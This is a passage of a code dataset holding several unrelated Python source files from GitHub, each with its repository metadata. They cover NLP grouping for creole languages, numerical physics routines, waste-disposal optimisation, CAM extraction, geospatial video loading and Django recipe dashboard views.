metadata_map[lang] = [\"percent\"]\n #metadata_map[lang] = [\"true\" for i in list(set(dfdata[lang])) if i > 0 else 1] <--- Nervous we MIGHT need something like this?\n #TODO: debug with grouper.py to see if this metadata_map is important\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n def language(self, sentences, group_file, creole):\n creole_LUT = {\"singlish\": [\"singlish\", \"en\", \"zh\", \"ta\", \"ms\"], #TODO: is this too many groups?\n \"haitian\": [\"haitian\", \"fr\", \"yo\", \"es\"],\n \"naija\": [\"naija\", \"en\", \"yo\", \"pt\"]}\n\n sub_language_keys = creole_LUT[creole]\n\n columns = [\"x\", \"language\"]\n dfdata= {\"x\": [], \"language\": []}\n\n with open(group_file, 'r', encoding=\"utf-8\") as input_file:\n sentence_dict = json.loads(input_file.read())\n\n\t\n for sent, sent_dict in zip(sentences, sentence_dict):\n language = sent_dict[sent] #FIXME this is kludgy but we want to make sure the sentences are in the same order so if this fails we'll know\n dfdata[\"x\"].append(sent)\n idx = sub_language_keys.index(language) #+ 1\n dfdata[\"language\"].append(idx)\n\n metadata_df = pd.DataFrame(dfdata, columns=columns)\n print(metadata_df.head)\n\n identity_vars = columns[1:]\n metadata_fields = columns[1:]\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars]).values)\n sub_language_idxs = [i for i in range(0, len(sub_language_keys)+1)]\n metadata_map = {\"language\": sub_language_keys}\n\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n def cluster(self, sentences, group_file):\n\n columns = [\"x\", \"cluster\"]\n dfdata= {\"x\": [], \"cluster\": []}\n\n with open(group_file, 'r', encoding=\"utf-8\") as input_file:\n sentence_dict = json.loads(input_file.read())\n\n for i, sent in enumerate(sentences):\n dfdata[\"x\"].append(sent)\n dfdata[\"cluster\"].append(sentence_dict[sent][\"cluster\"])\n\n metadata_df = pd.DataFrame(dfdata, columns=columns)\n print(metadata_df.head)\n\n identity_vars = columns[1:]\n metadata_fields = columns[1:]\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars]).values)\n metadata_map = {\"cluster\": [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\"]}\n\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n def percent_base(self, sentences, group_file, base_language):\n columns = [\"x\", base_language]\n\n # init dfdata\n #dfdata = {\"x\": sentences, base_language: []}\n\n dfdata_default = defaultdict(list)\n\n with open(group_file, 'r', encoding=\"utf-8\") as input_file:\n sentence_dict = json.loads(input_file.read())\n\n for sent in sentences:\n language_dict = sentence_dict[sent]\n dfdata_default[\"x\"].append(sent)\n dfdata_default[base_language].append(language_dict[base_language])\n\n dfdata = dict(dfdata_default)\n\n metadata_df = pd.DataFrame(dfdata, columns=columns)\n print(metadata_df.head)\n\n identity_vars = [base_language]\n metadata_fields = [base_language]\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars] >= .001).values)\n\n metadata_map = {base_language: [\"percent\"]} #TODO: also need to see if this metadata_map is problematic\n\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n def random_groups(self, sentences):\n #Here is a random example of Grouping\n\n #### making up metadata #####\n dfdata = {'x': sentences,\n 'group1': [random.choice([0, 1]) for r in range(0, len(sentences))],\n 'group2': [random.choice([0, 1]) for r in range(0, len(sentences))]}\n\n metadata_df = pd.DataFrame(dfdata, columns=['x', 'group1', 'group2'])\n print(metadata_df.head)\n\n # identity vars need to be present in the df\n identity_vars = [\n 'group1',\n 'group2'\n ]\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars] >= 0.5).values)\n metadata_fields = ['group1', 'group2']\n metadata_map = {'group1': ['no', 'yes'],\n 'group2': ['no', 'yes']} # 0=no, 1=yes. What the number values for the metadata map to\n\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n def one_group(self, sentences):\n #Assign everything the same thing, for a DRO baseline.\n\n #### making up metadata #####\n dfdata = {'x': sentences,\n 'group1': [0 for r in range(0, len(sentences))]}\n\n metadata_df = pd.DataFrame(dfdata, columns=['x', 'group1'])\n print(metadata_df.head)\n\n # identity vars need to be present in the df\n identity_vars = ['group1']\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars] >= 0.5).values)\n metadata_fields = ['group1']\n metadata_map = {'group1': ['yes']} # 0=no, 1=yes. What the number values for the metadata map to\n\n return metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map\n\n\n","repo_name":"hclent/creole-dro","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":22109,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"16021062145","text":"from cProfile import label\nimport numpy as np\nfrom scipy.signal import argrelextrema\nimport matplotlib.pyplot as plt\n\nfrom math import exp, log\nfrom re import I\n\n\ndef laplace(L, n, xb0, xb1, yb0, yb1, maxiter=50):\n dx = L / n\n dy = L / n\n\n # Solution done for a 2D grid\n u0 = [[0 for i in range(n + 1)] for j in range(n + 1)] # Initialization\n x = [i * dx for i in range(n + 1)]\n y = [j * dy for j in range(n + 1)]\n\n # Constant boundary conditions\n for i in range(n + 1):\n for j in range(n + 1):\n if i == 0:\n u0[i][j] = xb0\n elif i == n:\n u0[i][j] = xb1\n elif j == 0:\n u0[i][j] = yb0\n elif j == n:\n u0[i][j] = yb1\n\n # Jacobi method\n u = u0.copy()\n iter = 0\n while iter <= maxiter:\n for i in range(1, n):\n for j in range(1, n):\n u[i][j] = (\n 1 / 4 * (u0[i][j + 1] + u0[i][j - 1] + u0[i + 1][j] + u0[i - 1][j])\n )\n u0[i][j] = u[i][j]\n\n iter += 1\n\n return u, x, y\n\n\n# --------------------* Pseudorandom number generator *--------------------------\n\n\ndef mlcg(\n seed, # Starting seed for reproducibility\n a, # parameters for the generator\n m, # parameters for the generator\n num, # Number of random values\n):\n x = seed\n arrayOfRandomNumber = []\n for i in range(num):\n x = (a * x) % m\n arrayOfRandomNumber.append(x)\n\n return arrayOfRandomNumber\n\n\n# ---------------* Generate list of N random points between lims *---------------------\ndef monteCarlo(funtion, number):\n xRandomNumber = mlcg(234.34, 65, 1, number)\n\n summation = 0\n for i in xRandomNumber:\n summation += funtion(i)\n\n total = 1 / float(number) * summation\n\n return total\n\n\ndef gaussFunction(x):\n return exp(-(x**2))\n\n\ndef p(x, alpha):\n return alpha * exp(-x)\n\n\n# Without importance sampling\ntotalWithou = monteCarlo(gaussFunction, 10000)\n\n# With importance sampling\ndef g(x, alpha=1):\n return gaussFunction(-log(1 - x / alpha)) / p(x, alpha)\n\n\n# -------------------* function from lib becouse some problem with lib *-----------------------\ndef Schroed(\n y,\n r,\n V,\n E,\n):\n (psi, phi) = y\n dphidx = [phi, (V - E) * psi]\n return np.array(dphidx)\n\n\n# --------------------------* Runge-Kutta RK4 *---------------------\n\n\ndef rk4(\n function,\n psi0,\n x,\n V,\n E,\n):\n n = len(x)\n psi = np.array([psi0] * n)\n for i in range(n - 1):\n h = x[i + 1] - x[i]\n k1 = h * function(psi[i], x[i], V[i], E)\n k2 = h * function(psi[i] + 0.5 * k1, x[i] + 0.5 * h, V[i], E)\n k3 = h * function(psi[i] + 0.5 * k2, x[i] + 0.5 * h, V[i], E)\n k4 = h * function(psi[i] + k3, x[i + 1], V[i], E)\n psi[i + 1] = psi[i] + (k1 + 2.0 * (k2 + k3) + k4) / 6.0\n return psi\n\n\n# --------------------------* To count the number of nodes *---------------------\ndef countNodes(waveFunction):\n maxArray = argrelextrema(waveFunction, np.greater)[0]\n minArray = argrelextrema(waveFunction, np.less)[0]\n nodecounter = len(maxArray) + len(minArray)\n return nodecounter\n\n\ndef RefineEnergy(\n Ebot,\n Etop,\n Nodes,\n psi0,\n x,\n V,\n):\n tolerance = 1e-12\n ET = Etop\n EB = Ebot\n psi = [1]\n while abs(EB - ET) > tolerance or abs(psi[-1]) > 1e-3:\n initE = (ET + EB) / 2.0\n psi = rk4(Schroed, psi0, x, V, initE)[:, 0]\n nodesIst = len(np.where(np.diff(np.signbit(psi)))[0]) - 1\n if nodesIst > Nodes + 1:\n ET = initE\n continue\n if nodesIst < Nodes - 1:\n EB = initE\n continue\n if nodesIst % 2 == 0:\n if psi[len(psi) - 1] <= 0.0:\n ET = initE\n else:\n EB = initE\n elif nodesIst > 0:\n if psi[len(psi) - 1] <= 0.0:\n EB = initE\n else:\n ET = initE\n elif nodesIst < 0:\n EB = initE\n return (EB, ET)\n\n\ndef shotInfiniPotenWell(EInterval, nodes):\n psi_0 = 0.0\n phi_0 = 1.0\n psiInit = np.array([psi_0, phi_0])\n hMesh = 1.0 / 100.0\n xArrayIpw = np.arange(0.0, 1.0 + hMesh, hMesh)\n VIpw = np.zeros(len(xArrayIpw))\n (EBref, ETref) = RefineEnergy(\n EInterval[0],\n EInterval[1],\n nodes,\n psiInit,\n xArrayIpw,\n VIpw,\n )\n psi = rk4(Schroed, psiInit, xArrayIpw, VIpw, EBref)[:, 0]\n normal = max(psi)\n N = psi * (1 / normal)\n return (EBref, N, xArrayIpw)\n","repo_name":"shrimansoft/P452A3","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71200481336","text":"from ortools.linear_solver import pywraplp\r\nfrom math import sin,cos\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nPI = 3.14159\r\nclass Node:\r\n def __init__(self, node_id, pos:tuple, service_demand:list, capacity:list, fraction:list, solver, node_num):\r\n self.position = pos\r\n self.node_id = node_id\r\n self.service_demand = service_demand\r\n self.incinerator_fraction = fraction[0]\r\n self.recycling_fraction = fraction[1]\r\n self.composting_fraction = fraction[2]\r\n\r\n self.incinerator_capacity = capacity[0]\r\n self.recycling_capacity = capacity[1]\r\n self.composting_capacity = capacity[2]\r\n self.landfill_capacity = capacity[3]\r\n\r\n self.solver = solver\r\n self.presence_incinerator = self.solver.BoolVar(f\"{node_id}_presence_incinerator\")\r\n self.presence_recycling = self.solver.BoolVar(f\"{node_id}_presence_recycling\")\r\n self.presence_composting = self.solver.BoolVar(f\"{node_id}_presence_composting\")\r\n self.presence_landfill = self.solver.BoolVar(f\"{node_id}_presence_landfill\")\r\n\r\n # amount of waste processed in this node\r\n self.waste_incinerator = self.solver.IntVar(0,self.incinerator_capacity,f\"{node_id}_waste_incinerator\")\r\n self.waste_recycling = self.solver.IntVar(0,self.recycling_capacity,f\"{node_id}_waste_recycling\")\r\n self.waste_composting= self.solver.IntVar(0,self.composting_capacity,f\"{node_id}_waste_composting\")\r\n self.waste_landfill = self.solver.IntVar(0,self.landfill_capacity,f\"{node_id}_waste_landfill\")\r\n\r\n # variable of outflow waste\r\n self.user_outflow_incinerator = {}\r\n self.user_outflow_recycling = {}\r\n self.user_outflow_composting = {}\r\n self.incinerator_outflow_landfill = {}\r\n self.recycling_outflow_landfill = {}\r\n self.composting_outflow_landfill = {}\r\n self.user_outflow_landfill = {}\r\n\r\n for dest_id in range(node_num):\r\n self.user_outflow_incinerator[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_user_outflow_incinerator\")\r\n self.user_outflow_recycling[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_user_outflow_recycling\")\r\n self.user_outflow_composting[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_user_outflow_composting\")\r\n self.incinerator_outflow_landfill[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_incinerator_outflow_landfill\")\r\n self.recycling_outflow_landfill[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_recycling_outflow_landfill\")\r\n self.composting_outflow_landfill[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_composting_outflow_landfill\")\r\n self.user_outflow_landfill[dest_id+1] = self.solver.IntVar(0, service_demand, f\"{node_id}_{dest_id}_user_outflow_landfill\")\r\n\r\n # variable of inflow waste\r\n self.user_inflow_incinerator = {}\r\n self.user_inflow_recycling = {}\r\n self.user_inflow_composting = {}\r\n self.incinerator_inflow_landfill = {}\r\n self.recycling_inflow_landfill = {}\r\n self.composting_inflow_landfill = {}\r\n self.user_inflow_landfill = {}\r\n\r\n def add_constraints(self):\r\n # outflow = service demand\r\n self.solver.Add(sum(self.user_outflow_incinerator.values())+sum(self.user_outflow_recycling.values())\r\n +sum(self.user_outflow_composting.values())+sum(self.user_outflow_landfill.values()) == self.service_demand)\r\n # inflow = waste treated\r\n self.solver.Add(sum(self.user_inflow_composting.values()) == self.waste_composting)\r\n self.solver.Add(sum(self.user_inflow_recycling.values()) == self.waste_recycling)\r\n self.solver.Add(sum(self.user_inflow_incinerator.values()) == self.waste_incinerator)\r\n self.solver.Add(sum(self.user_inflow_landfill.values())+sum(self.incinerator_inflow_landfill.values())+sum(self.recycling_inflow_landfill.values())\r\n + sum(self.composting_inflow_landfill.values()) == self.waste_landfill)\r\n # waster treated <= presence * capacity\r\n self.solver.Add(self.waste_incinerator <= self.landfill_capacity*self.presence_incinerator)\r\n self.solver.Add(self.waste_recycling <= self.recycling_capacity*self.presence_recycling)\r\n self.solver.Add(self.waste_composting <= self.composting_capacity*self.presence_composting)\r\n self.solver.Add(self.waste_landfill <= self.landfill_capacity*self.presence_landfill)\r\n\r\n # process inflow * fraction = process outflow\r\n self.solver.Add(sum(self.user_inflow_incinerator.values())*self.incinerator_fraction == sum(self.incinerator_outflow_landfill.values()))\r\n self.solver.Add(sum(self.user_inflow_recycling.values())*self.recycling_fraction == sum(self.recycling_outflow_landfill.values()))\r\n self.solver.Add(sum(self.user_inflow_composting.values())*self.recycling_fraction == sum(self.composting_outflow_landfill.values()))\r\n\r\n # a node can only have one process plant\r\n self.solver.Add(self.presence_landfill+self.presence_composting+self.presence_recycling <= 1)\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n solver = pywraplp.Solver.CreateSolver(\"SAT\")\r\n # parameters to be identified\r\n node_num = 5\r\n node_positions = [(1+sin(0),1+cos(0)),(1+sin(2*PI/5),1+cos(2*PI/5)),(1+sin(2*PI/5*2),1+cos(2*PI/5)*2),(1+sin(2*PI/5*3),1+cos(2*PI/5*3)),(1+sin(2*PI/5*4),1+cos(2*PI/5*4))]\r\n service_demand = [6000, 6000, 6000, 6000, 6000]\r\n capacity = [[0, 0, 0, 0],[4500,2500,0,4500],[4500,2500,0,4500],[4500,2500,0,4500],[4500,2500,0,4500]]\r\n fraction = [0.1, 0.25, 0]\r\n # economic, landfill waste, environment impact\r\n objective_weights = [1, 1, 0]\r\n # incinerator, recycling, composting, landfill\r\n process_plant_fixed_cost = [30, 20, 25, 1]\r\n process_cost = np.array([1, 3, 2.5, 1])\r\n # transport cost matrix\r\n transport_cost_matrix = np.array([[0,3,3,5,7],\r\n [2,0,3,5,7],\r\n [5,8,0,2,4],\r\n [3,6,6,0,2],\r\n [3,6,6,8,0]]) * 0.001\r\n network = {}\r\n for i in range(node_num):\r\n network[i+1] = Node(i+1, node_positions[i], service_demand[i], capacity[i], fraction, solver, node_num)\r\n # network[i+1].add_constraints()\r\n for i in range(node_num):\r\n for j in range(node_num):\r\n network[i+1].user_inflow_incinerator[j+1] = network[j+1].user_outflow_incinerator[i+1]\r\n network[i+1].user_inflow_recycling[j+1] = network[j+1].user_outflow_recycling[i+1]\r\n network[i+1].user_inflow_composting[j+1] = network[j+1].user_outflow_composting[i+1]\r\n network[i+1].incinerator_inflow_landfill[j+1] = network[j+1].incinerator_outflow_landfill[i+1]\r\n network[i+1].recycling_inflow_landfill[j+1] = network[j+1].recycling_outflow_landfill[i+1]\r\n network[i+1].composting_inflow_landfill[j+1] = network[j+1].composting_outflow_landfill[i+1]\r\n network[i+1].user_inflow_landfill[j+1] = network[j+1].user_outflow_landfill[i+1]\r\n for i in range(node_num):\r\n network[i+1].add_constraints()\r\n # add objective\r\n objective=solver.Objective()\r\n for i in range(node_num):\r\n # objective 2 with weights\r\n objective.SetCoefficient(network[i+1].waste_landfill, 1*objective_weights[1]+process_cost[3]*objective_weights[0])\r\n # investment(fixed cost)\r\n objective.SetCoefficient(network[i+1].presence_incinerator, process_plant_fixed_cost[0] * objective_weights[0])\r\n objective.SetCoefficient(network[i+1].presence_recycling, process_plant_fixed_cost[1] * objective_weights[0])\r\n objective.SetCoefficient(network[i+1].presence_composting, process_plant_fixed_cost[2] * objective_weights[0])\r\n objective.SetCoefficient(network[i+1].presence_landfill, process_plant_fixed_cost[3] * objective_weights[0])\r\n # variable cost\r\n objective.SetCoefficient(network[i+1].waste_incinerator, process_cost[0] * objective_weights[0])\r\n objective.SetCoefficient(network[i+1].waste_recycling, process_cost[1] * objective_weights[0])\r\n objective.SetCoefficient(network[i+1].waste_composting, process_cost[2] * objective_weights[0])\r\n # objective.SetCoefficient(network[i+1].waste_landfill,process_cost[3] * objective_weights[0])\r\n # transportation cost\r\n for j in range(node_num):\r\n objective.SetCoefficient(network[i + 1].user_outflow_incinerator[j+1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].user_outflow_recycling[j+1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].user_outflow_composting[j+1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].user_outflow_landfill[j+1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].incinerator_outflow_landfill[j + 1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].recycling_outflow_landfill[j + 1], transport_cost_matrix[i][j] * objective_weights[0])\r\n objective.SetCoefficient(network[i + 1].composting_outflow_landfill[j + 1], transport_cost_matrix[i][j] * objective_weights[0])\r\n\r\n objective.SetMinimization()\r\n # objective.SetMaximization()\r\n status = solver.Solve()\r\n G = nx.DiGraph()\r\n subax = plt.subplot(4, 1, (1, 4))\r\n pos = {}\r\n labels = {}\r\n colors = {}\r\n if status == pywraplp.Solver.OPTIMAL:\r\n print('optimal!!')\r\n print(\"Objective value =\", solver.Objective().Value())\r\n\r\n else:\r\n print('The problem does not have an optimal solution.')\r\n\r\n print(\"Problem solved in %f milliseconds\" % solver.wall_time())\r\n print(\"Problem solved in %d iterations\" % solver.iterations())\r\n print(\"Problem solved in %d branch-and-bound nodes\" % solver.nodes())\r\n for i in range(node_num):\r\n node = network[i + 1]\r\n G.add_node(node.node_id)\r\n discription = f'{node.node_id}:'\r\n if node.presence_landfill.solution_value() > 0:\r\n discription += 'land_fill'\r\n if node.presence_incinerator.solution_value() > 0:\r\n discription += '\\nincinerator'\r\n if node.presence_recycling.solution_value() > 0:\r\n discription += '\\nrecycling'\r\n if node.presence_composting.solution_value() > 0:\r\n discription += '\\ncomposting'\r\n pos[node.node_id] = node.position\r\n labels[node.node_id] = discription\r\n print(f'node {i + 1} landfill waste amount: {network[i + 1].waste_landfill.solution_value()}')\r\n print(f'node {i + 1} incinerator waste amount: {network[i + 1].waste_incinerator.solution_value()}')\r\n print(f'node {i + 1} recycling waste amount: {network[i + 1].waste_recycling.solution_value()}')\r\n print(f'node {i + 1} composting waste amount: {network[i + 1].waste_composting.solution_value()}')\r\n for j in range(node_num):\r\n dest = network[j + 1]\r\n if node.user_outflow_incinerator[j + 1].solution_value() > 0:\r\n G.add_edge(node.node_id, dest.node_id, weight=node.user_outflow_incinerator[j + 1].solution_value(),\r\n type='incinerator')\r\n if node.user_outflow_recycling[j + 1].solution_value() > 0:\r\n G.add_edge(node.node_id, dest.node_id, weight=node.user_outflow_recycling[j + 1].solution_value(),\r\n type='recycling')\r\n if node.user_outflow_composting[j + 1].solution_value() > 0:\r\n G.add_edge(node.node_id, dest.node_id, weight=node.user_outflow_composting[j + 1].solution_value(),\r\n type='composting')\r\n landfill = node.incinerator_outflow_landfill[j + 1].solution_value() + node.recycling_outflow_landfill[\r\n j + 1].solution_value() + \\\r\n node.composting_outflow_landfill[j + 1].solution_value() + node.user_outflow_landfill[\r\n j + 1].solution_value()\r\n if landfill > 0:\r\n G.add_edge(node.node_id, dest.node_id, weight=landfill, type='landfill')\r\n nx.draw_networkx_nodes(G, pos)\r\n nx.draw_networkx_labels(G, pos, labels=labels)\r\n nx.draw_networkx_edges(G, pos, edge_color='red')\r\n plt.show()\r\n print(\"haha\")","repo_name":"Minefix049/Waste-Disposal-Optimization","sub_path":"wasteDisposal.py","file_name":"wasteDisposal.py","file_ext":"py","file_size_in_byte":12682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"13761962308","text":"import torch\nimport tqdm\nimport os\nimport torch.nn.functional as F\nimport cv2\n\nfrom model_training.common.models import get_network\n\n\nclass ActivationExtractor:\n \"\"\"Extract activation maps from pretrained model\"\"\"\n\n def __init__(self, config, train_dl, val_dl, device):\n self.config = config\n self.train_dl = train_dl\n self.val_dl = val_dl\n self.device = device\n\n self.model = get_network(config[\"model\"])\n state_dict = torch.load(config[\"model\"][\"weights_path\"])\n self.model.load_state_dict(state_dict[\"model\"])\n self.model = self.model.to(device)\n self.model.eval()\n\n self.maps_weights = (\n self.model.linear.weight\n ) # shape: [num_classes, K] K - number of kernel filters\n self.interpolation_mode = config[\"interpolation\"]\n\n def extract(self):\n self._run(self.train_dl, prefix=\"train\")\n self._run(self.val_dl, prefix=\"val\")\n\n @torch.no_grad()\n def _run(self, dl, prefix=\"train\"):\n for X, y, image_names in tqdm.tqdm(dl):\n X, y = X.to(self.device), y.to(self.device)\n height, width = X.shape[2:]\n y_pred, maps = self.model(X, return_maps=True)\n if not os.path.exists(self.config[prefix][\"output_path\"]):\n os.makedirs(self.config[prefix][\"output_path\"])\n for name, activation_maps, classes in zip(image_names, maps, y):\n self._process_single_image(\n activation_maps, classes, name, (height, width), prefix=prefix\n )\n\n def _process_single_image(self, activation_maps, classes, name, size, prefix):\n \"\"\"\n Save segmentation map for single image\n Args:\n activation_maps (torch.tensor): activation of last conv layer [K, H_s, W_s]\n classes (torch.tensor): ground-truth labels for image [num_classes]\n name (str): name of segmap to save\n size (tuple(int, int)): size of segmap to save\n prefix (str): flag whether to save into train or val set\n \"\"\"\n\n maps_weights = self.maps_weights[classes == 1] # shape: [true_classes, K]\n seg_maps = torch.tensordot(\n maps_weights, activation_maps, dims=((1,), (0,))\n ) # shape: [true_classes, H_s, W_s]\n\n save_path = os.path.join(self.config[prefix][\"output_path\"], name + \".png\")\n seg_maps = F.interpolate(\n seg_maps[None], size, mode=self.interpolation_mode, align_corners=False\n )[0]\n\n class_labels = (\n torch.where(classes == 1)[0].type(torch.float32) + 1\n ) # e.g. [2, 7, 20]\n seg_maps_max, seg_maps_indices = seg_maps.max(dim=0)\n threshold = (seg_maps_max.max() - seg_maps_max.min()) * self.config[\n \"background_threshold\"\n ] + seg_maps_max.min()\n\n idx = seg_maps_max > threshold\n seg_maps_max[~idx] = 0\n seg_maps_max[idx] = class_labels[seg_maps_indices][idx]\n\n cv2.imwrite(save_path, seg_maps_max.type(torch.uint8).cpu().numpy())\n","repo_name":"ucuapps/WSMIS","sub_path":"inference/cam_generation/cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"22"} +{"seq_id":"24485859823","text":"import json\nimport pickle\nfrom typing import Any\n\nfrom bitarray import bitarray\n\nfrom .video_processor.camera_config import CameraConfig, camera_config\n\n\nclass GeospatialVideo:\n def __init__(\n self,\n video: \"str\",\n camera: \"list[CameraConfig] | str\",\n keep: \"bitarray | None\" = None,\n ) -> None:\n self.video = video\n if isinstance(camera, str):\n if camera.endswith(\".json\"):\n with open(camera, \"r\") as f:\n camera_configs = json.load(f)\n else:\n assert camera.endswith(\".camera.pkl\")\n with open(camera, \"rb\") as f:\n camera_configs = pickle.load(f)\n if isinstance(camera_configs, dict):\n camera_configs = camera_configs[\"frames\"]\n assert isinstance(camera_configs, list), camera_configs\n self.camera = [_camera_config(c) for c in camera_configs]\n else:\n self.camera = camera\n self.keep = keep\n\n\ndef _camera_config(c: \"Any\"):\n assert isinstance(c, (list, tuple)), c\n assert len(c) == 13, c\n c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13 = c\n return camera_config(c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, 0)\n","repo_name":"apperception-db/spatialyze","sub_path":"spatialyze/geospatial_video.py","file_name":"geospatial_video.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"35478429151","text":"import argparse\nimport os\n\nroot_dir = os.path.dirname(os.path.realpath(__file__))\nservice_dir = os.path.join(root_dir, \"service\")\n\nrequirements = []\n\n\ndef create_service_directory() -> None:\n if not os.path.exists(service_dir):\n os.mkdir(service_dir)\n info(\"Creating Service Directory at: \" + service_dir)\n\n\ndef build_requirements() -> None:\n \"\"\"Build requirements.txt file for the service\"\"\"\n requirements_path = os.path.join(service_dir, \"requirements.txt\")\n if not os.path.exists(requirements_path):\n info(\"Creating requirements.txt file\")\n requirements_file = open(requirements_path, 'w')\n for requirement in requirements:\n if requirement[1] is None:\n requirements_file.write(requirement[0]+\"\\n\")\n else:\n requirements_file.write(requirement[0]+\" >= \"+requirement[1])\n requirements_file.close()\n\n\ndef add_requirement(requirement, version=None) -> None:\n if requirement is not None:\n requirements.append((requirement, version))\n\n\ndef info(message) -> None:\n log(message, 4)\n\n\ndef warn(message) -> None:\n log(message, 3)\n\n\ndef error(message) -> None:\n log(message, 2)\n\n\ndef log(message, level=4) -> None:\n if log_level >= level:\n print(message)\n\n\nif __name__ == \"__main__\":\n # change this to read from command line and default to 4\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-l', '--log-level', dest=\"loglevel\", help=\"Set the log level. 4(default) print everything, 3 print warnings and errors, 2 print errors, 1 print nothing\", default=4, type=int, choices=[1, 2, 3, 4])\n args = parser.parse_args()\n log_level = args.loglevel\n print(args)\n print(log_level)\n create_service_directory()\n add_requirement(\"ariadne\")\n build_requirements()\n","repo_name":"jonschwartz/steffi","sub_path":"steffi.py","file_name":"steffi.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1663348370","text":"from recipes.models import Recipe\nfrom recipes.views import PAGES_TO_DISPLAY, RECIPES_PER_PAGE\nfrom utils.pagination import make_pagination\nfrom authors.forms.edit_recipe_form import RecipeEditForm\nfrom authors.forms.create_recipe_form import RecipeCreateForm\nfrom django.views import View\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.utils.translation import get_language\nfrom django.utils.text import slugify\nfrom django.contrib import messages\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import login_required\n\n\n@login_required(login_url='authors:login', redirect_field_name='next')\ndef dashboard_view(req):\n recipes = Recipe.objects.filter(\n user=req.user,\n is_published=False).order_by('-id')\n pagination = make_pagination(\n request=req,\n obj_list=recipes,\n obj_per_page=RECIPES_PER_PAGE,\n pages_to_display=PAGES_TO_DISPLAY,\n )\n return render(req, 'authors/pages/dashboardView.html', {\n 'recipes': pagination['page'],\n 'pagination_range': pagination['page_range'],\n 'search_bar': False,\n 'translation': get_language(),\n })\n\n\nclass DashboardRecipeView(View):\n def get_recipe(self, id):\n return get_object_or_404(\n Recipe,\n pk=id,\n user=self.request.user,\n is_published=False\n )\n\n def get_page(self, template, **kwargs):\n return render(\n self.request,\n template,\n {\n 'translation': get_language(),\n **kwargs,\n }\n )\n\n\n@method_decorator(\n login_required(redirect_field_name='next', login_url='authors:login'),\n name='dispatch'\n)\nclass DashboardRecipeEdit(DashboardRecipeView):\n def get(self, *args, **kwargs):\n recipe = self.get_recipe(kwargs.get('id'))\n form = RecipeEditForm(instance=recipe)\n return self.get_page(\n template='authors/pages/edit_recipeView.html',\n form=form,\n recipe=recipe,\n search_bar=False,\n title=f'{recipe.title} | '\n )\n\n def post(self, *args, **kwargs):\n recipe = self.get_recipe(kwargs.get('id'))\n form = RecipeEditForm(\n data=self.request.POST or None,\n files=self.request.FILES or None,\n instance=recipe\n )\n if form.is_valid():\n r = form.save(commit=False)\n r.user = self.request.user\n r.slug = slugify(r.title)\n r.is_published = False\n r.preparation_steps_is_html = False\n r.save()\n messages.success(self.request, 'Your recipe has been updated!')\n return redirect('authors:dashboard')\n return self.get_page(\n template='authors/pages/edit_recipeView.html',\n form=form,\n recipe=recipe,\n search_bar=False,\n title=f'{recipe.title} | '\n )\n\n\n@method_decorator(\n login_required(redirect_field_name='next', login_url='authors:login'),\n name='dispatch'\n)\nclass DashboardRecipeCreate(DashboardRecipeView):\n def get(self, *args, **kwargs):\n form = RecipeCreateForm(\n data=self.request.POST or None,\n files=self.request.FILES or None\n )\n return self.get_page(\n template='authors/pages/create_recipeView.html',\n form=form,\n title='Create a recipe | ',\n search_bar=False\n )\n\n def post(self, *args, **kwargs):\n form = RecipeCreateForm(\n data=self.request.POST or None,\n files=self.request.FILES or None\n )\n if form.is_valid():\n r = form.save(commit=False)\n r.user = self.request.user\n r.is_published = False\n r.preparation_steps_is_html = False\n r.save()\n messages.success(self.request, 'Your recipe has been created!')\n return redirect('authors:dashboard')\n return self.get_page(\n template='authors/pages/create_recipeView.html',\n form=form,\n title='Create a recipe | ',\n search_bar=False\n )\n\n\n@method_decorator(\n login_required(redirect_field_name='next', login_url='authors:login'),\n name='dispatch'\n)\nclass 